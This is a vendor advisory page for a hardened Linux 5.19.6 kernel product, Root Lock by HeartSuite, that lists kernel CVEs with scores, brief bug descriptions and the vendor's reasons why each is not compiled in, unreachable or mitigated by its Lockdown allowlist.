Status: Not Affected — CONFIG_ISCSI_TARGET not compiled Component: Linux iSCSI target (CONFIG_ISCSI_TARGET) Base Score: 8.8 HIGH (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_ISCSI_TARGET not compiled in HS kernel

In iscsit_dec_session_usage_count(), the function calls complete() while holding the sess->session_usage_lock.

CONFIG_ISCSI_TARGET is not set in the HS 5.19.6 configuration. The Linux iSCSI target (drivers/target/iscsi/) subsystem is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2026-23208

Status: Not exploitable Component: ALSA sound subsystem (CONFIG_SND) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no audio hardware present

In this case, the user constructed the parameters with maxpacksize 40 for rate 22050 / pps 1000, and packsize[0] 22 packsize[1] 23.

CONFIG_SND=y is compiled in. No audio hardware is present on a headless Debian 11 server. The ALSA subsystem does not create /dev/snd device nodes without an audio card. The ioctl path that exposes this bug is never instantiated.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2026-23216

Status: Not Affected — CONFIG_ISCSI_TARGET not compiled Component: Linux iSCSI target (CONFIG_ISCSI_TARGET) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_ISCSI_TARGET not compiled in HS kernel

In iscsit_dec_conn_usage_count(), the function calls complete() while holding the conn->conn_usage_lock.

CONFIG_ISCSI_TARGET is not set in the HS 5.19.6 configuration. The Linux iSCSI target (drivers/target/iscsi/) subsystem is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2025-71238

Status: Not Affected — CONFIG_SCSI_QLA_FC not compiled Component: QLogic qla2xxx FC driver (CONFIG_SCSI_QLA_FC) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_SCSI_QLA_FC not compiled in HS kernel

In drivers/scsi/qla2xxx/, the QLogic Fibre Channel HBA driver writes to an invalid kernel address during a specific error recovery path, triggering a page fault with a supervisor write access error. The invalid address indicates a use-after-free or uninitialized pointer dereference within the driver’s interrupt or completion handling.

CONFIG_SCSI_QLA_FC is not set in the HS 5.19.6 configuration. The QLogic qla2xxx Fibre Channel HBA driver is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2026-23318

Status: Not exploitable Component: ALSA sound subsystem (CONFIG_SND) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — no audio hardware present

The entry of the validators table for UAC3 AC header descriptor is defined with the wrong protocol version UAC_VERSION_2, while it should have been UAC_VERSION_3.

CONFIG_SND=y is compiled in. No audio hardware is present on a headless Debian 11 server. The ALSA subsystem does not create /dev/snd device nodes without an audio card. The ioctl path that exposes this bug is never instantiated.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2026-31581

Status: Not exploitable Component: ALSA sound subsystem (CONFIG_SND) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no audio hardware present

In usb6fire_chip_abort(), the chip struct is allocated as the card’s private data (via snd_card_new with sizeof(struct sfire_chip)).

CONFIG_SND=y is compiled in. No audio hardware is present on a headless Debian 11 server. The ALSA subsystem does not create /dev/snd device nodes without an audio card. The ioctl path that exposes this bug is never instantiated.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2023-3268

Status: Not exploitable Component: relay filesystem (CONFIG_RELAY) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — debugfs relay access not in HS allowlist; Lockdown blocks the exploitation trigger

An out of bounds (OOB) memory access flaw was found in the Linux kernel in relay_file_read_start_pos in kernel/relay.c in the relayfs.

CONFIG_RELAY=y is compiled in. Triggering the bug requires CAP_SYS_ADMIN and read access to relay channel files under debugfs — paths used exclusively by kernel tracing tools (SystemTap, etc.) that have no place in a production server allowlist. Without an allowlist entry covering debugfs relay access, the kernel refuses it. An attacker who has already gained root cannot add one: Lockdown prevents allowlist modification, backdoor installation, and persistence across reboot.

CVE-2023-3567

Status: Affected Component: virtual terminal (VT) (CONFIG_VT) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 7.1 HIGH — base I:N; Lockdown limits post-exploitation persistence Affected range: Linux 5.x–6.x; 5.19.6 falls within range
Upstream fix: drivers/tty/vt/vc_screen.c

What this means for an attacker:

In drivers/tty/vt/vc_screen.c, vcs_read() accesses virtual console screen data through a vc_screen reference without holding appropriate locks for the full duration of the read. A concurrent write or deallocation of the virtual console can free the underlying vc_screen structure while vcs_read() is still referencing it, causing a use-after-free. The published vector is C:H/I:N/A:H — disclosure and crash, not direct privilege escalation.

Why HeartSuite does not reduce this to 0.0:

CONFIG_VT=y is compiled in and 5.19.6 falls within the affected range. Reading /dev/vcs* virtual console screen devices requires membership in the tty group on Debian. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root. Executing a non-allowlisted program requires an allowlist entry; an attacker cannot reach this code path without one.

What this means for you as an HS user:

The attacker cannot turn this UAF into anything that runs new code. Even if a follow-on memory-corruption bug is chained in to escalate to root, Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2023-6531

Status: Affected Component: Unix domain sockets (CONFIG_UNIX) Base Score: 7.0 HIGH (AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 6.5 MEDIUM — Lockdown reduces MI: High→Low; AC:H reduces exploitability (Exp=1.05 vs 1.83 for AC:L) Affected range: Linux 5.x–6.x; 5.19.6 falls within range
Upstream fix: net/unix/garbage.c

What this means for an attacker:

In net/unix/garbage.c, the Unix socket garbage collector frees orphaned socket buffers (SKBs) without coordinating with concurrent unix_stream_read_generic() operations on the socket those SKBs are queued on. The race allows unix_stream_read_generic() to access an SKB that the garbage collector has already freed, causing a use-after-free. AC:H reflects that exploitation requires precise timing between the GC sweep and a concurrent stream read.

Why HeartSuite does not reduce this to 0.0:

CONFIG_UNIX=y is compiled in and 5.19.6 falls within the affected range. Unix domain sockets are used by virtually all inter-process communication on a Debian 11 server (systemd, D-Bus, logging daemons). The narrow race window (AC:H) makes reliable exploitation difficult. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a standalone race-exploit program without an allowlist entry.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2023-51043

Status: Not exploitable Component: DRM subsystem (CONFIG_DRM) Base Score: 7.0 HIGH (AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no DRM/GPU device on headless server; drm_atomic requires GPU mode-setting

In the Linux kernel before 6.4.5, drivers/gpu/drm/drm_atomic.c has a use-after-free during a race condition between a nonblocking atomic commit and a driver unload.

CONFIG_DRM=y is compiled in and 5.19.6 falls within the affected range. The drm_atomic race condition requires a process to initiate GPU mode-setting operations — specifically a nonblocking atomic commit — concurrent with driver unload. Root Lock by HeartSuite runs on headless server hardware with no display GPU; the DRM device nodes are absent, so no mode-setting operation can be initiated. No GPU or display tool appears in the HS allowlist. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

CVE-2024-0841

Status: Not exploitable Component: hugetlbfs (CONFIG_HUGETLBFS) Base Score: 6.6 MEDIUM (AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H) Score on HeartSuite: 0.0 — mount() blocked by Lockdown; hugetlbfs mount path unreachable Affected range: Linux 5.x–6.x; 5.19.6 falls within range
Upstream fix: fs/hugetlbfs/inode.c

In fs/hugetlbfs/inode.c, hugetlbfs_fill_super() initialises the hugetlbfs superblock for a mount(2) call. Under certain error conditions during setup — for instance, when huge page pool allocation fails — the function dereferences a pointer that was not initialised, causing a null pointer dereference. The crash is reachable by any local user with CAP_SYS_ADMIN permission to mount hugetlbfs.

CONFIG_HUGETLBFS=y is compiled in and 5.19.6 falls within the affected range. Triggering hugetlbfs_fill_super() requires calling mount(2) with hugetlbfs as the filesystem type, which additionally requires CAP_SYS_ADMIN on Debian 11. sys_hs_lockdown_hs() sets HS_lockdown_state = 7, blocking all mount paths at kernel/namespace.c:4218, 4300, 4453 with EPERM; do_mount() returns EPERM before any hugetlbfs setup begins. In Lockdown, no approved program in the HS allowlist carries a mount entry — the kernel SPF gate enforces this independently of Lockdown. The trigger cannot be reached on any Root Lock by HeartSuite deployment.

CVE-2024-26593

Status: Not exploitable Component: Intel SMBus I2C controller (CONFIG_I2C_I801) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — no I2C/SMBus tool in HS allowlist; Lockdown blocks access

In drivers/i2c/busses/i2c-i801.c, the Intel I801 SMBus driver handles block process call transactions incorrectly. Intel datasheets specify that the block buffer index must be reset twice: once before writing the outgoing data to the buffer, and once before reading the incoming response. The driver resets the index only once, causing the response to be read from the wrong buffer position and potentially returning incorrect data to callers.

CONFIG_I2C_I801=y is compiled in and 5.19.6 falls within the affected range. The Intel I2C SMBus controller is present on Intel-based servers for BMC, temperature sensor, and management bus communication. Accessing it requires root or i2c group membership and an i2c-tools or lm-sensors program — no such tool appears in the HS allowlist. On a Root Lock by HeartSuite system in Lockdown, the kernel blocks any process without an allowlist entry from executing, so a standalone exploit tool cannot reach the I2C device interface. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

CVE-2024-38586

Status: Affected Component: Realtek r8169 Ethernet driver (CONFIG_R8169) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low

Affected range: Linux 5.x–6.x; 5.19.6 falls within range
Upstream fix: drivers/net/ethernet/realtek/r8169_main.c

What this means for an attacker:

In drivers/net/ethernet/realtek/r8169_main.c, transmitting small fragmented scatter-gather packets on an RTL8125b NIC causes the driver to populate TX ring buffer descriptors with invalid state. The NIC subsequently processes the malformed descriptors, leading to incorrect DMA operations that can corrupt memory.

Why HeartSuite does not reduce this to 0.0:

CONFIG_R8169=y is compiled in and 5.19.6 falls within the affected range. The r8169 driver is active on systems with a Realtek NIC and handles all network TX traffic; the faulty path is reachable through normal network operation on affected hardware. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root. An attacker cannot execute a new exploit program to trigger this path — it has no allowlist entry and the kernel refuses to run it.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2024-38630

Status: Not exploitable Component: watchdog timer subsystem (CONFIG_WATCHDOG) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no watchdog daemon in HS allowlist; Lockdown blocks /dev/watchdog access

When the cpu5wdt module is removing, the origin code uses del_timer() to de-activate the timer.

CONFIG_WATCHDOG=y is compiled in and 5.19.6 falls within the affected range. The cpu5wdt driver targets a PC-era ISA watchdog timer; this hardware is absent on any modern HS server deployment. Even on configurations where the hardware exists, the trigger requires a process to open and interact with /dev/watchdog — no watchdog daemon appears in the HS allowlist. On a Root Lock by HeartSuite system in Lockdown, the kernel blocks any process without an allowlist entry from executing, so a standalone exploit tool cannot reach the cpu5wdt interface. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

CVE-2024-34777

Status: Not Affected — CONFIG_DMA_MAP_BENCHMARK not compiled Component: DMA map benchmark (CONFIG_DMA_MAP_BENCHMARK) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — CONFIG_DMA_MAP_BENCHMARK not compiled in HS kernel

In kernel/dma/map_benchmark.c, map_benchmark_ioctl() passes the user-supplied NUMA node ID directly to node_possible() (line 211) without first verifying that it falls within [0, MAX_NUMNODES-1]. node_possible() uses the node ID as a bitmap index; an out-of-range value causes an out-of-bounds read in the node_possible_map bitmap.

CONFIG_DMA_MAP_BENCHMARK is not set in the HS 5.19.6 configuration. The DMA mapping benchmark module is a debug/testing facility accessible via /sys/kernel/debug/dma_map_benchmark; it is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2024-39463

Status: Not exploitable Component: Plan 9 filesystem (9P) (CONFIG_9P_FS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — mount() blocked by Lockdown; no 9P filesystem reachable on HS deployments

In fs/9p/, a use-after-free occurs on a dentry’s d_fsdata fid list when one thread looks up a fid through the dentry while another thread concurrently unlinks it. The unlinking thread frees the fid while the lookup thread still holds a reference, causing the lookup to dereference freed memory.

CONFIG_9P_FS=y is compiled in. Triggering the bug requires mounting a 9P filesystem. Lockdown categorically blocks mount()sys_hs_lockdown_hs() sets HS_lockdown_state = 7, after which all mount paths return EPERM. No Root Lock by HeartSuite deployment has a 9P filesystem mounted before Lockdown engages at boot. The trigger cannot be reached.

The vulnerable path never opens. The bug exists in the source — not on this system.

CVE-2024-40956

Status: Not exploitable Component: DMA engine framework (CONFIG_DMA_ENGINE) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — Intel IAX/DSA accelerator hardware absent

Use list_for_each_entry_safe() to allow iterating through the list and deleting the entry in the iteration process.

CONFIG_DMA_ENGINE=y is compiled in. idxd is the driver for Intel Data Streaming Accelerator (DSA) and Intelligence Analytics Accelerator (IAX), available in Intel Sapphire Rapids and later server CPUs. These accelerators require specific Intel hardware not present on a standard Debian 11 server.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2022-48867

Status: Not exploitable Component: DMA engine framework (CONFIG_DMA_ENGINE) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — Intel IAX/DSA accelerator hardware absent

In drivers/dma/idxd/, when the Intel Data Streaming Accelerator driver is unloaded, idxd_dmaengine_drv_remove() frees the interrupt handler while descriptor completions are still pending. Completion callbacks that fire after interrupt teardown dereference the freed interrupt state, causing a use-after-free.

CONFIG_DMA_ENGINE=y is compiled in. idxd drives Intel’s Data Streaming Accelerator hardware, present only in Intel Sapphire Rapids (and later) server CPUs. This hardware is not present on a standard Debian 11 deployment.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2024-46759

Status: Not exploitable Component: hardware monitoring subsystem (CONFIG_HWMON) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — ADC128D818 I2C ADC chip absent

DIV_ROUND_CLOSEST() after kstrtol() results in an underflow if a large negative number such as -9223372036854775808 is provided by the user.

CONFIG_HWMON=y is compiled in. adc128d818 drives the Texas Instruments ADC128D818 — a specific 8-channel I2C ADC chip used on some custom boards. This chip is not part of standard server hardware; the hwmon driver is never bound.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2024-49860

Status: Not exploitable Component: ACPI subsystem (CONFIG_ACPI) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — malformed ACPI _STR firmware absent; standard OEM server firmware returns Buffer objects as specified Affected range: Linux 5.x–6.x; 5.19.6 falls within range
Upstream fix: drivers/acpi/device_sysfs.c

In the ACPI subsystem, the _STR ACPI method must return a buffer object containing a Unicode description string. description_show(), exposed via sysfs at /sys/bus/acpi/devices/*/description, calls the _STR method and dereferences the result without validating that the returned object is in fact a buffer. A crafted or malformed ACPI table that returns an integer, package, or other non-buffer object from _STR causes description_show() to access invalid memory.

CONFIG_ACPI=y is compiled in and 5.19.6 falls within the affected range. ACPI tables are loaded from OEM firmware at boot and are read-only thereafter — no userspace process can modify them without firmware-level access outside the HS adversary model. Standard OEM server firmware conforms to the ACPI specification and returns a Buffer object from _STR. On a Root Lock by HeartSuite server deployment, no malformed _STR firmware is present; the invalid-memory path in description_show() is never reached. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

CVE-2022-49029

Status: Not exploitable Component: hardware monitoring subsystem (CONFIG_HWMON) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — IBM Power Management Extension hardware absent

In drivers/hwmon/ibmpex.c, ibmpex_register_bmc() at line 509 adds a BMC device entry to the global list but does not remove it from the list on the error path. If registration fails partway through, &data->list remains linked while the containing data struct is freed, leading to a use-after-free when the list is subsequently traversed.

CONFIG_HWMON=y is compiled in. ibmpex drives the IBM Power Management Extension, specific to IBM Power Systems server hardware. This is not present on an x86 Debian 11 server.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2024-50127

Status: Not exploitable Component: network traffic scheduler (CONFIG_NET_SCHED) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — tc not in HS allowlist; Lockdown blocks the exploitation trigger

In net/sched/sch_taprio.c, taprio_change() holds the admin schedule pointer while a concurrent advance_sched() call can switch or remove the schedule, making admin a dangling pointer. The critical section protected by q->current_entry_lock does not prevent this race, allowing access to freed schedule memory.

CONFIG_NET_SCHED=y is compiled in. Triggering the bug requires the tc utility (iproute2) with CAP_NET_ADMIN to install or modify a qdisc or filter. No Root Lock by HeartSuite Root Lock by HeartSuite deployment includes tc in the Lockdown allowlist — the kernel refuses to execute it. An attacker who has already gained root cannot add it: Lockdown prevents allowlist modification, backdoor installation, and persistence across reboot.

CVE-2024-50131

Status: Not exploitable Component: kernel tracing (CONFIG_TRACING) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — tracefs not in HS allowlist; Lockdown blocks the exploitation trigger

In the kernel tracing subsystem, strlen() returns the string length excluding the null terminator. If the string length equals the maximum buffer length, the buffer has no remaining space for the null byte, and the subsequent null terminator write goes one byte past the end of the buffer — a classic off-by-one overflow.

CONFIG_TRACING=y is compiled in. Triggering the bug requires CAP_SYS_ADMIN and active access to the kernel tracing filesystem at /sys/kernel/tracing/. No Root Lock by HeartSuite Root Lock by HeartSuite deployment permits any service to write to these paths. Without an allowlist entry covering the tracing interface, the kernel refuses access. An attacker who has already gained root cannot add it: Lockdown prevents allowlist modification, backdoor installation, and persistence across reboot.

CVE-2024-53057

Status: Not exploitable Component: network traffic scheduler (CONFIG_NET_SCHED) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — tc not in HS allowlist; Lockdown blocks the exploitation trigger

In qdisc_tree_reduce_backlog, Qdiscs with major handle ffff: are assumed to be either root or ingress.

CONFIG_NET_SCHED=y is compiled in. Triggering the bug requires the tc utility (iproute2) with CAP_NET_ADMIN to install or modify a qdisc or filter. No Root Lock by HeartSuite Root Lock by HeartSuite deployment includes tc in the Lockdown allowlist — the kernel refuses to execute it. An attacker who has already gained root cannot add it: Lockdown prevents allowlist modification, backdoor installation, and persistence across reboot.

CVE-2024-56606

Status: Not exploitable Component: AF_PACKET sockets (CONFIG_PACKET) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CAP_NET_RAW not in HS allowlist; Lockdown blocks the exploitation trigger

After sock_init_data() the allocated sk object is attached to the provided sock object.

CONFIG_PACKET=y is compiled in. Creating an AF_PACKET raw socket requires CAP_NET_RAW. No Root Lock by HeartSuite Root Lock by HeartSuite deployment grants CAP_NET_RAW to any service — packet capture tools such as tcpdump have no allowlist entry. Without an allowlist entry, the kernel refuses to execute them. An attacker who has already gained root cannot add one: Lockdown prevents allowlist modification, backdoor installation, and persistence across reboot.

CVE-2025-21692

Status: Not exploitable Component: network traffic scheduler (CONFIG_NET_SCHED) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — tc not in HS allowlist; Lockdown blocks the exploitation trigger

Haowei Yan g1042620637@gmail.com found that ets_class_from_arg() can index an Out-Of-Bound class in ets_class_from_arg() when passed clid of 0.

CONFIG_NET_SCHED=y is compiled in. Triggering the bug requires the tc utility (iproute2) with CAP_NET_ADMIN to install or modify a qdisc or filter. No Root Lock by HeartSuite Root Lock by HeartSuite deployment includes tc in the Lockdown allowlist — the kernel refuses to execute it. An attacker who has already gained root cannot add it: Lockdown prevents allowlist modification, backdoor installation, and persistence across reboot.

CVE-2022-49799

Status: Not exploitable Component: kernel tracing (CONFIG_TRACING) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — tracefs not in HS allowlist; Lockdown blocks the exploitation trigger

In kernel/trace/, register_synth_event() calls trace_remove_event_call() and unregister_trace_event() on the error path when set_synth_event_print_fmt() fails. Calling both functions causes the trace event to be unregistered twice, resulting in a double-free of the trace event structure.

CONFIG_TRACING=y is compiled in. Triggering the bug requires CAP_SYS_ADMIN and active access to the kernel tracing filesystem at /sys/kernel/tracing/. No Root Lock by HeartSuite Root Lock by HeartSuite deployment permits any service to write to these paths. Without an allowlist entry covering the tracing interface, the kernel refuses access. An attacker who has already gained root cannot add it: Lockdown prevents allowlist modification, backdoor installation, and persistence across reboot.

CVE-2022-49892

Status: Not exploitable Component: ftrace / function tracer (CONFIG_FTRACE) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — tracefs not in HS allowlist; Lockdown blocks the exploitation trigger

KASAN reported a use-after-free with ftrace ops [1]. It was found from vmcore that perf had registered two ops with the same content successively, both dynamic.

CONFIG_FTRACE=y is compiled in. Triggering the bug requires CAP_SYS_ADMIN and write access to ftrace control files under /sys/kernel/tracing/. No Root Lock by HeartSuite Root Lock by HeartSuite deployment permits any service to access these paths. Without an allowlist entry covering the ftrace interface, the kernel refuses access. An attacker who has already gained root cannot add it: Lockdown prevents allowlist modification, backdoor installation, and persistence across reboot.

CVE-2022-49921

Status: Not exploitable Component: network traffic scheduler (CONFIG_NET_SCHED) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — tc not in HS allowlist; Lockdown blocks the exploitation trigger

We can’t use “skb” again after passing it to qdisc_enqueue(). This is basically identical to commit 2f09707d0c97 (“sch_sfb: Also store skb len before calling child enqueue”).

CONFIG_NET_SCHED=y is compiled in. Triggering the bug requires the tc utility (iproute2) with CAP_NET_ADMIN to install or modify a qdisc or filter. No Root Lock by HeartSuite Root Lock by HeartSuite deployment includes tc in the Lockdown allowlist — the kernel refuses to execute it. An attacker who has already gained root cannot add it: Lockdown prevents allowlist modification, backdoor installation, and persistence across reboot.

CVE-2023-53111

Status: Not exploitable Component: loop block device (CONFIG_BLK_DEV_LOOP) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — /dev/loop* access not in HS allowlist; Lockdown blocks the exploitation trigger

do_req_filebacked() calls blk_mq_complete_request() synchronously or asynchronously when using asynchronous I/O unless memory allocation fails.

CONFIG_BLK_DEV_LOOP=y is compiled in. Triggering the bug requires ioctl operations on /dev/loop* with CAP_SYS_ADMIN. No Root Lock by HeartSuite production workload uses loop devices — they are absent from the Lockdown allowlist. Without an allowlist entry, the kernel refuses access. An attacker who has already gained root cannot add one: Lockdown prevents allowlist modification, backdoor installation, and persistence across reboot.

CVE-2025-37879

Status: Not exploitable Component: Plan 9 filesystem (9P) (CONFIG_9P_FS) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — mount() blocked by Lockdown; no 9P filesystem reachable on HS deployments

In net/9p/client.c, p9_client_write() and p9_client_read_once() do not validate the count returned by the 9P server. If a misbehaving server replies with success but a negative byte count, the client treats the negative value as a large unsigned integer, potentially causing integer underflow or incorrect buffer offset calculations.

CONFIG_9P_FS=y is compiled in. Triggering the bug requires mounting a 9P filesystem. Lockdown categorically blocks mount()sys_hs_lockdown_hs() sets HS_lockdown_state = 7, after which all mount paths return EPERM. No Root Lock by HeartSuite deployment has a 9P filesystem mounted before Lockdown engages at boot. The trigger cannot be reached.

The vulnerable path never opens. The bug exists in the source — not on this system.

CVE-2025-37914

Status: Not exploitable Component: network traffic scheduler (CONFIG_NET_SCHED) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — tc not in HS allowlist; Lockdown blocks the exploitation trigger

As described in Gerrard’s report [1], there are use cases where a netem child qdisc will make the parent qdisc’s enqueue callback reentrant.

CONFIG_NET_SCHED=y is compiled in. Triggering the bug requires the tc utility (iproute2) with CAP_NET_ADMIN to install or modify a qdisc or filter. No Root Lock by HeartSuite Root Lock by HeartSuite deployment includes tc in the Lockdown allowlist — the kernel refuses to execute it. An attacker who has already gained root cannot add it: Lockdown prevents allowlist modification, backdoor installation, and persistence across reboot.

CVE-2025-37915

Status: Not exploitable Component: network traffic scheduler (CONFIG_NET_SCHED) Base Score: 7.0 HIGH (AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — tc not in HS allowlist; Lockdown blocks the exploitation trigger

As described in Gerrard’s report [1], there are use cases where a netem child qdisc will make the parent qdisc’s enqueue callback reentrant.

CONFIG_NET_SCHED=y is compiled in. Triggering the bug requires the tc utility (iproute2) with CAP_NET_ADMIN to install or modify a qdisc or filter. No Root Lock by HeartSuite Root Lock by HeartSuite deployment includes tc in the Lockdown allowlist — the kernel refuses to execute it. An attacker who has already gained root cannot add it: Lockdown prevents allowlist modification, backdoor installation, and persistence across reboot.

CVE-2025-37923

Status: Not exploitable Component: kernel tracing (CONFIG_TRACING) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — tracefs not in HS allowlist; Lockdown blocks the exploitation trigger

In kernel/trace/trace.c, trace_seq_to_buffer() at line 1830 performs a slab-out-of-bounds write. syzbot reproduced a KASAN report showing that a trace sequence buffer copy operation writes beyond the allocated slab boundary, reachable through the kernel tracing filesystem interface under CAP_SYS_ADMIN.

CONFIG_TRACING=y is compiled in. Triggering the bug requires CAP_SYS_ADMIN and active access to the kernel tracing filesystem at /sys/kernel/tracing/. No Root Lock by HeartSuite Root Lock by HeartSuite deployment permits any service to write to these paths. Without an allowlist entry covering the tracing interface, the kernel refuses access. An attacker who has already gained root cannot add it: Lockdown prevents allowlist modification, backdoor installation, and persistence across reboot.

CVE-2025-38369

Status: Not exploitable Component: DMA engine framework (CONFIG_DMA_ENGINE) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — Intel IAX/DSA accelerator hardware absent

Running IDXD workloads in a container with the /dev directory mounted can trigger a call trace or even a kernel panic when the parent process exits while child processes are still using IDXD portal file descriptors. The portal file descriptor cleanup races with process exit, causing a use-after-free when the freed descriptor object is subsequently accessed.

CONFIG_DMA_ENGINE=y is compiled in. idxd drives Intel’s on-chip Data Streaming and Analytics Accelerator hardware. This requires specific Intel Sapphire Rapids or later CPU hardware not present on a standard server.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2025-38548

Status: Not exploitable Component: hardware monitoring subsystem (CONFIG_HWMON) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — Corsair Commander Pro hardware absent

Add buffer_recv_size to store the size of the received bytes. Validate buffer_recv_size in send_usb_cmd().

CONFIG_HWMON=y is compiled in. corsair-cpro drives the Corsair Commander Pro — a desktop PC fan/cooler controller connected via USB HID. This device is not present in a production server environment.

